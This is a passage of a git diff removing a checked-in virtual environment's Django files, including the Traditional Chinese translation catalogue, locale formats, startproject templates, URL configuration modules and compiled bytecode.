關連" - -msgid "Many-to-many relationship" -msgstr "多對多關連" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "這個欄位是必須的。" - -msgid "Enter a whole number." -msgstr "輸入整數" - -msgid "Enter a valid date." -msgstr "輸入有效的日期" - -msgid "Enter a valid time." -msgstr "輸入有效的時間" - -msgid "Enter a valid date/time." -msgstr "輸入有效的日期/時間" - -msgid "Enter a valid duration." -msgstr "輸入有效的時間長。" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "天數必須介於 {min_days} 到 {max_days} 天" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "沒有檔案被送出。請檢查表單的編碼類型。" - -msgid "No file was submitted." -msgstr "沒有檔案送出" - -msgid "The submitted file is empty." -msgstr "送出的檔案是空的。" - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "請確認這個檔名至多包含 %(max)d 個字 (目前為 %(length)d)。" - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "請提交一個檔案或勾選清除選項,但不能同時進行。" - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "請上傳一個有效的圖檔。你上傳的檔案不是圖片或是已損壞的圖檔。" - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "請選擇有效的選項, %(value)s 不是一個可用的選項。" - -msgid "Enter a list of values." -msgstr "請輸入一個列表的值。" - -msgid "Enter a complete value." -msgstr "請輸入完整的值。" - -msgid "Enter a valid UUID." -msgstr "請輸入有效的 UUID。" - -msgid "Enter a valid JSON." -msgstr "輸入有效的 JSON。" - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(隱藏欄位 %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm 資料遺失或被篡改。缺少欄位:%(field_names)s。如果問題持續存" -"在,您可能需要提交錯誤報告。" - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "請送出最多 %(num)d 個表單。" - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "請送出最少 %(num)d 個表單。" - -msgid "Order" -msgstr "排序" - -msgid "Delete" -msgstr "刪除" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "請修正 %(field)s 的重覆資料" - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "請修正 %(field)s 的重覆資料, 必須為唯一值" - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"請修正 %(field_name)s 重複資料, %(date_field)s 的 %(lookup)s 必須是唯一值。" - -msgid "Please correct the duplicate values below." -msgstr "請修正下方重覆的數值" - -msgid "The inline value did not match the parent instance." -msgstr "內含的外鍵無法連接到對應的上層實體。" - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "選擇有效的選項: 此選擇不在可用的選項中。" - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” 不是一個有效的值。" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s 無法被轉換成 %(current_timezone)s時區格式; 可能內容有誤或不存" -"在。" - -msgid "Clear" -msgstr "清除" - -msgid "Currently" -msgstr "目前" - -msgid "Change" -msgstr "變更" - -msgid "Unknown" -msgstr "未知" - -msgid "Yes" -msgstr "是" - -msgid "No" -msgstr "否" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "是、否、也許" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d 位元組" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "午夜" - -msgid "noon" -msgstr "中午" - -msgid "Monday" -msgstr "星期一" - -msgid "Tuesday" -msgstr "星期二" - -msgid "Wednesday" -msgstr "星期三" - -msgid "Thursday" -msgstr "星期四" - -msgid "Friday" -msgstr "星期五" - -msgid "Saturday" -msgstr "星期六" - -msgid "Sunday" -msgstr "星期日" - -msgid "Mon" -msgstr "星期一" - -msgid "Tue" -msgstr "星期二" - -msgid "Wed" -msgstr "星期三" - -msgid "Thu" -msgstr "星期四" - -msgid "Fri" -msgstr "星期五" - -msgid "Sat" -msgstr "星期六" - -msgid "Sun" -msgstr "星期日" - -msgid "January" -msgstr "一月" - -msgid "February" -msgstr "二月" - -msgid "March" -msgstr "三月" - -msgid "April" -msgstr "四月" - -msgid "May" -msgstr "五月" - -msgid "June" -msgstr "六月" - -msgid "July" -msgstr "七月" - -msgid "August" -msgstr "八月" - -msgid "September" -msgstr "九月" - -msgid "October" -msgstr "十月" - -msgid "November" -msgstr "十一月" - -msgid "December" -msgstr "十二月" - -msgid "jan" -msgstr "一月" - -msgid "feb" -msgstr "二月" - -msgid "mar" -msgstr "三月" - -msgid "apr" -msgstr "四月" - -msgid "may" -msgstr "五月" - -msgid "jun" -msgstr "六月" - -msgid "jul" -msgstr "七月" - -msgid "aug" -msgstr "八月" - -msgid "sep" -msgstr "九月" - -msgid "oct" -msgstr "十月" - -msgid "nov" -msgstr "十一月" - -msgid "dec" -msgstr "十二月" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "一月" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "二月" - -msgctxt "abbrev. month" -msgid "March" -msgstr "三月" - -msgctxt "abbrev. month" -msgid "April" -msgstr "四月" - -msgctxt "abbrev. month" -msgid "May" -msgstr "五月" - -msgctxt "abbrev. month" -msgid "June" -msgstr "六月" - -msgctxt "abbrev. month" -msgid "July" -msgstr "七月" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "八月" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "九月" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "十月" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "十一月" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "十二月" - -msgctxt "alt. month" -msgid "January" -msgstr "一月" - -msgctxt "alt. month" -msgid "February" -msgstr "二月" - -msgctxt "alt. month" -msgid "March" -msgstr "三月" - -msgctxt "alt. month" -msgid "April" -msgstr "四月" - -msgctxt "alt. month" -msgid "May" -msgstr "五月" - -msgctxt "alt. month" -msgid "June" -msgstr "六月" - -msgctxt "alt. month" -msgid "July" -msgstr "七月" - -msgctxt "alt. month" -msgid "August" -msgstr "八月" - -msgctxt "alt. month" -msgid "September" -msgstr "九月" - -msgctxt "alt. month" -msgid "October" -msgstr "十月" - -msgctxt "alt. month" -msgid "November" -msgstr "十一月" - -msgctxt "alt. month" -msgid "December" -msgstr "十二月" - -msgid "This is not a valid IPv6 address." -msgstr "這是無效的 IPv6 位址。" - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "或" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d 年" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d 月" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d 週" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d 日" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d 小時" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d 分" - -msgid "Forbidden" -msgstr "禁止" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF 驗證失敗。已中止請求。" - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"您看到此消息是因為這個 HTTPS 網站要求您的網路瀏覽器發送一個“Referer header”," -"但並沒有被發送。出於安全原因,需要此標頭來確保您的瀏覽器沒有被第三方劫持。" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"若您的瀏覽器設定為將「Referer」標頭關閉,請重新為這個網站、HTTPS 連線、或" -"「same-origin」請求啟用它。" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"若您使用 標籤或包含" -"「Referrer-Policy: no-referrer」標頭,請將其移除。 CSRF 保護要求「Referer」標" -"頭進行嚴格參照檢查。若你擔心隱私問題,可使用如 來連" -"結到第三方網站。" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"你看到這個訊息,是因為這個網站要求在送出表單包含一個 CSRF cookie。這個 " -"cookie 是用於安全用途,保護你的瀏覽器不被第三方挾持。" - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"若你的瀏覽器設定為將 cookie 關閉,請重新為這個網站或「same-origin」請求啟用" -"它。" - -msgid "More information is available with DEBUG=True." -msgstr "設定 DEBUG=True 以獲得更多資訊。" - -msgid "No year specified" -msgstr "不指定年份" - -msgid "Date out of range" -msgstr "日期超過範圍" - -msgid "No month specified" -msgstr "沒有指定月份" - -msgid "No day specified" -msgstr "沒有指定日期" - -msgid "No week specified" -msgstr "沒有指定週數" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "%(verbose_name_plural)s 無法使用" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"未來的 %(verbose_name_plural)s 不可用,因為 %(class_name)s.allow_future 設置" -"為 False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "日期字串 “%(datestr)s” 不符合 “%(format)s” 格式。" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "無 %(verbose_name)s 符合本次搜尋" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "頁面不是最後一頁,也無法被轉換為整數。" - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "無效的頁面 (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "列表是空的,並且 “%(class_name)s.allow_empty” 是 False 。" - -msgid "Directory indexes are not allowed here." -msgstr "這裡不允許目錄索引。" - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” 不存在。" - -#, python-format -msgid "Index of %(directory)s" -msgstr "%(directory)s 的索引" - -msgid "The install worked successfully! Congratulations!" -msgstr "安裝成功!恭喜!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"查看 Django %(version)s 的 發行版本說明 " - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"你現在看到這個頁面,是因為在設定檔中設置了 DEBUG = True,且尚未配置任何網址。" - -msgid "Django Documentation" -msgstr "Django 文件" - -msgid "Topics, references, & how-to’s" -msgstr "主題、參考、教學" - -msgid "Tutorial: A Polling App" -msgstr "教學:投票應用" - -msgid "Get started with Django" -msgstr "初學 Django" - -msgid "Django Community" -msgstr "Django 社群" - -msgid "Connect, get help, or contribute" -msgstr "聯繫、獲得幫助、貢獻" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 3ad37c85..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 7d5bc87a..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/formats.py deleted file mode 100644 index 79936f8a..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/zh_Hant/formats.py +++ /dev/null @@ -1,42 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "Y年n月j日" # 2016年9月5日 -TIME_FORMAT = "H:i" # 20:45 -DATETIME_FORMAT = "Y年n月j日 H:i" # 2016年9月5日 20:45 -YEAR_MONTH_FORMAT = "Y年n月" # 2016年9月 -MONTH_DAY_FORMAT = "m月j日" # 9月5日 -SHORT_DATE_FORMAT = "Y年n月j日" # 2016年9月5日 -SHORT_DATETIME_FORMAT = "Y年n月j日 H:i" # 2016年9月5日 20:45 -FIRST_DAY_OF_WEEK = 1 # 星期一 (Monday) - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%Y/%m/%d", # '2016/09/05' - "%Y-%m-%d", # '2016-09-05' - "%Y年%n月%j日", # '2016年9月5日' -] - -TIME_INPUT_FORMATS = [ - "%H:%M", # '20:45' - "%H:%M:%S", # '20:45:29' - "%H:%M:%S.%f", # '20:45:29.000200' -] - -DATETIME_INPUT_FORMATS = [ - "%Y/%m/%d %H:%M", # '2016/09/05 20:45' - "%Y-%m-%d %H:%M", # '2016-09-05 20:45' - "%Y年%n月%j日 %H:%M", # '2016年9月5日 14:45' - "%Y/%m/%d %H:%M:%S", # '2016/09/05 20:45:29' - "%Y-%m-%d %H:%M:%S", # '2016-09-05 20:45:29' - "%Y年%n月%j日 %H:%M:%S", # '2016年9月5日 20:45:29' - "%Y/%m/%d %H:%M:%S.%f", # '2016/09/05 20:45:29.000200' - "%Y-%m-%d %H:%M:%S.%f", # '2016-09-05 20:45:29.000200' - "%Y年%n月%j日 %H:%n:%S.%f", # '2016年9月5日 20:45:29.000200' -] - -DECIMAL_SEPARATOR = "." -THOUSAND_SEPARATOR = "" -NUMBER_GROUPING = 4 diff --git a/backend/venv/Lib/site-packages/django/conf/project_template/manage.py-tpl b/backend/venv/Lib/site-packages/django/conf/project_template/manage.py-tpl deleted file mode 100644 index a628884d..00000000 --- a/backend/venv/Lib/site-packages/django/conf/project_template/manage.py-tpl +++ /dev/null @@ -1,22 +0,0 @@ -#!/usr/bin/env python -"""Django's command-line utility for administrative tasks.""" -import os -import sys - - -def main(): - """Run administrative tasks.""" - os.environ.setdefault('DJANGO_SETTINGS_MODULE', '{{ project_name }}.settings') - try: - from django.core.management import execute_from_command_line - except ImportError as exc: - raise ImportError( - "Couldn't import Django. Are you sure it's installed and " - "available on your PYTHONPATH environment variable? Did you " - "forget to activate a virtual environment?" - ) from exc - execute_from_command_line(sys.argv) - - -if __name__ == '__main__': - main() diff --git a/backend/venv/Lib/site-packages/django/conf/project_template/project_name/__init__.py-tpl b/backend/venv/Lib/site-packages/django/conf/project_template/project_name/__init__.py-tpl deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/project_template/project_name/asgi.py-tpl b/backend/venv/Lib/site-packages/django/conf/project_template/project_name/asgi.py-tpl deleted file mode 100644 index a8272381..00000000 --- a/backend/venv/Lib/site-packages/django/conf/project_template/project_name/asgi.py-tpl +++ /dev/null @@ -1,16 +0,0 @@ -""" -ASGI config for {{ project_name }} project. - -It exposes the ASGI callable as a module-level variable named ``application``. - -For more information on this file, see -https://docs.djangoproject.com/en/{{ docs_version }}/howto/deployment/asgi/ -""" - -import os - -from django.core.asgi import get_asgi_application - -os.environ.setdefault('DJANGO_SETTINGS_MODULE', '{{ project_name }}.settings') - -application = get_asgi_application() diff --git a/backend/venv/Lib/site-packages/django/conf/project_template/project_name/settings.py-tpl b/backend/venv/Lib/site-packages/django/conf/project_template/project_name/settings.py-tpl deleted file mode 100644 index 5631ec9a..00000000 --- a/backend/venv/Lib/site-packages/django/conf/project_template/project_name/settings.py-tpl +++ /dev/null @@ -1,122 +0,0 @@ -""" -Django settings for {{ project_name }} project. - -Generated by 'django-admin startproject' using Django {{ django_version }}. - -For more information on this file, see -https://docs.djangoproject.com/en/{{ docs_version }}/topics/settings/ - -For the full list of settings and their values, see -https://docs.djangoproject.com/en/{{ docs_version }}/ref/settings/ -""" - -from pathlib import Path - -# Build paths inside the project like this: BASE_DIR / 'subdir'. -BASE_DIR = Path(__file__).resolve().parent.parent - - -# Quick-start development settings - unsuitable for production -# See https://docs.djangoproject.com/en/{{ docs_version }}/howto/deployment/checklist/ - -# SECURITY WARNING: keep the secret key used in production secret! -SECRET_KEY = '{{ secret_key }}' - -# SECURITY WARNING: don't run with debug turned on in production! -DEBUG = True - -ALLOWED_HOSTS = [] - - -# Application definition - -INSTALLED_APPS = [ - 'django.contrib.admin', - 'django.contrib.auth', - 'django.contrib.contenttypes', - 'django.contrib.sessions', - 'django.contrib.messages', - 'django.contrib.staticfiles', -] - -MIDDLEWARE = [ - 'django.middleware.security.SecurityMiddleware', - 'django.contrib.sessions.middleware.SessionMiddleware', - 'django.middleware.common.CommonMiddleware', - 'django.middleware.csrf.CsrfViewMiddleware', - 'django.contrib.auth.middleware.AuthenticationMiddleware', - 'django.contrib.messages.middleware.MessageMiddleware', - 'django.middleware.clickjacking.XFrameOptionsMiddleware', -] - -ROOT_URLCONF = '{{ project_name }}.urls' - -TEMPLATES = [ - { - 'BACKEND': 'django.template.backends.django.DjangoTemplates', - 'DIRS': [], - 'APP_DIRS': True, - 'OPTIONS': { - 'context_processors': [ - 'django.template.context_processors.request', - 'django.contrib.auth.context_processors.auth', - 'django.contrib.messages.context_processors.messages', - ], - }, - }, -] - -WSGI_APPLICATION = '{{ project_name }}.wsgi.application' - - -# Database -# https://docs.djangoproject.com/en/{{ docs_version }}/ref/settings/#databases - -DATABASES = { - 'default': { - 'ENGINE': 'django.db.backends.sqlite3', - 'NAME': BASE_DIR / 'db.sqlite3', - } -} - - -# Password validation -# https://docs.djangoproject.com/en/{{ docs_version }}/ref/settings/#auth-password-validators - -AUTH_PASSWORD_VALIDATORS = [ - { - 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', - }, - { - 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', - }, - { - 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', - }, - { - 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', - }, -] - - -# Internationalization -# https://docs.djangoproject.com/en/{{ docs_version }}/topics/i18n/ - -LANGUAGE_CODE = 'en-us' - -TIME_ZONE = 'UTC' - -USE_I18N = True - -USE_TZ = True - - -# Static files (CSS, JavaScript, Images) -# https://docs.djangoproject.com/en/{{ docs_version }}/howto/static-files/ - -STATIC_URL = 'static/' - -# Default primary key field type -# https://docs.djangoproject.com/en/{{ docs_version }}/ref/settings/#default-auto-field - -DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' diff --git a/backend/venv/Lib/site-packages/django/conf/project_template/project_name/urls.py-tpl b/backend/venv/Lib/site-packages/django/conf/project_template/project_name/urls.py-tpl deleted file mode 100644 index 622f79ef..00000000 --- a/backend/venv/Lib/site-packages/django/conf/project_template/project_name/urls.py-tpl +++ /dev/null @@ -1,22 +0,0 @@ -""" -URL configuration for {{ project_name }} project. - -The `urlpatterns` list routes URLs to views. For more information please see: - https://docs.djangoproject.com/en/{{ docs_version }}/topics/http/urls/ -Examples: -Function views - 1. Add an import: from my_app import views - 2. Add a URL to urlpatterns: path('', views.home, name='home') -Class-based views - 1. Add an import: from other_app.views import Home - 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') -Including another URLconf - 1. Import the include() function: from django.urls import include, path - 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) -""" -from django.contrib import admin -from django.urls import path - -urlpatterns = [ - path('admin/', admin.site.urls), -] diff --git a/backend/venv/Lib/site-packages/django/conf/project_template/project_name/wsgi.py-tpl b/backend/venv/Lib/site-packages/django/conf/project_template/project_name/wsgi.py-tpl deleted file mode 100644 index 1ee28d0e..00000000 --- a/backend/venv/Lib/site-packages/django/conf/project_template/project_name/wsgi.py-tpl +++ /dev/null @@ -1,16 +0,0 @@ -""" -WSGI config for {{ project_name }} project. - -It exposes the WSGI callable as a module-level variable named ``application``. - -For more information on this file, see -https://docs.djangoproject.com/en/{{ docs_version }}/howto/deployment/wsgi/ -""" - -import os - -from django.core.wsgi import get_wsgi_application - -os.environ.setdefault('DJANGO_SETTINGS_MODULE', '{{ project_name }}.settings') - -application = get_wsgi_application() diff --git a/backend/venv/Lib/site-packages/django/conf/urls/__init__.py b/backend/venv/Lib/site-packages/django/conf/urls/__init__.py deleted file mode 100644 index 302f68dd..00000000 --- a/backend/venv/Lib/site-packages/django/conf/urls/__init__.py +++ /dev/null @@ -1,9 +0,0 @@ -from django.urls import include -from django.views import defaults - -__all__ = ["handler400", "handler403", "handler404", "handler500", "include"] - -handler400 = defaults.bad_request -handler403 = defaults.permission_denied -handler404 = defaults.page_not_found -handler500 = defaults.server_error diff --git a/backend/venv/Lib/site-packages/django/conf/urls/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/urls/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 6a62f1d4..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/urls/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/urls/__pycache__/i18n.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/urls/__pycache__/i18n.cpython-311.pyc deleted file mode 100644 index 4601ec84..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/urls/__pycache__/i18n.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/urls/__pycache__/static.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/urls/__pycache__/static.cpython-311.pyc deleted file mode 100644 index 0e60abc7..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/urls/__pycache__/static.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/urls/i18n.py b/backend/venv/Lib/site-packages/django/conf/urls/i18n.py deleted file mode 100644 index 6b3fe702..00000000 --- a/backend/venv/Lib/site-packages/django/conf/urls/i18n.py +++ /dev/null @@ -1,39 +0,0 @@ -import functools - -from django.conf import settings -from django.urls import LocalePrefixPattern, URLResolver, get_resolver, path -from django.views.i18n import set_language - - -def i18n_patterns(*urls, prefix_default_language=True): - """ - Add the language code prefix to every URL pattern within this function. - This may only be used in the root URLconf, not in an included URLconf. - """ - if not settings.USE_I18N: - return list(urls) - return [ - URLResolver( - LocalePrefixPattern(prefix_default_language=prefix_default_language), - list(urls), - ) - ] - - -@functools.cache -def is_language_prefix_patterns_used(urlconf): - """ - Return a tuple of two booleans: ( - `True` if i18n_patterns() (LocalePrefixPattern) is used in the URLconf, - `True` if the default language should be prefixed - ) - """ - for url_pattern in get_resolver(urlconf).url_patterns: - if isinstance(url_pattern.pattern, LocalePrefixPattern): - return True, url_pattern.pattern.prefix_default_language - return False, False - - -urlpatterns = [ - path("setlang/", set_language, name="set_language"), -] diff --git a/backend/venv/Lib/site-packages/django/conf/urls/static.py b/backend/venv/Lib/site-packages/django/conf/urls/static.py deleted file mode 100644 index 8e7816e7..00000000 --- a/backend/venv/Lib/site-packages/django/conf/urls/static.py +++ /dev/null @@ -1,30 +0,0 @@ -import re -from urllib.parse import urlsplit - -from django.conf import settings -from django.core.exceptions import ImproperlyConfigured -from django.urls import re_path -from django.views.static import serve - - -def static(prefix, view=serve, **kwargs): - """ - Return a URL pattern for serving files in debug mode. - - from django.conf import settings - from django.conf.urls.static import static - - urlpatterns = [ - # ... the rest of your URLconf goes here ... - ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) - """ - if not prefix: - raise ImproperlyConfigured("Empty static prefix not permitted") - elif not settings.DEBUG or urlsplit(prefix).netloc: - # No-op if not in debug mode or a non-local prefix. - return [] - return [ - re_path( - r"^%s(?P.*)$" % re.escape(prefix.lstrip("/")), view, kwargs=kwargs - ), - ] diff --git a/backend/venv/Lib/site-packages/django/contrib/__init__.py b/backend/venv/Lib/site-packages/django/contrib/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/contrib/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index b986f50c..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__init__.py b/backend/venv/Lib/site-packages/django/contrib/admin/__init__.py deleted file mode 100644 index 0d9189f6..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/__init__.py +++ /dev/null @@ -1,52 +0,0 @@ -from django.contrib.admin.decorators import action, display, register -from django.contrib.admin.filters import ( - AllValuesFieldListFilter, - BooleanFieldListFilter, - ChoicesFieldListFilter, - DateFieldListFilter, - EmptyFieldListFilter, - FieldListFilter, - ListFilter, - RelatedFieldListFilter, - RelatedOnlyFieldListFilter, - SimpleListFilter, -) -from django.contrib.admin.options import ( - HORIZONTAL, - VERTICAL, - ModelAdmin, - ShowFacets, - StackedInline, - TabularInline, -) -from django.contrib.admin.sites import AdminSite, site -from django.utils.module_loading import autodiscover_modules - -__all__ = [ - "action", - "display", - "register", - "ModelAdmin", - "HORIZONTAL", - "VERTICAL", - "StackedInline", - "TabularInline", - "AdminSite", - "site", - "ListFilter", - "SimpleListFilter", - "FieldListFilter", - "BooleanFieldListFilter", - "RelatedFieldListFilter", - "ChoicesFieldListFilter", - "DateFieldListFilter", - "AllValuesFieldListFilter", - "EmptyFieldListFilter", - "RelatedOnlyFieldListFilter", - "ShowFacets", - "autodiscover", -] - - -def autodiscover(): - autodiscover_modules("admin", register_to=site) diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 9b9d8686..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/actions.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/actions.cpython-311.pyc deleted file mode 100644 index e095fdd1..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/actions.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/apps.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/apps.cpython-311.pyc deleted file mode 100644 index 48b055f2..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/apps.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/checks.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/checks.cpython-311.pyc deleted file mode 100644 index 87a10629..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/checks.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/decorators.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/decorators.cpython-311.pyc deleted file mode 100644 index e43d29f8..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/decorators.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/exceptions.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/exceptions.cpython-311.pyc deleted file mode 100644 index 19f3dda5..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/exceptions.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/filters.cpython-311.pyc b/backend/venv/Lib/site-packages/django/contrib/admin/__pycache__/filters.cpython-311.pyc deleted file mode 100644 index 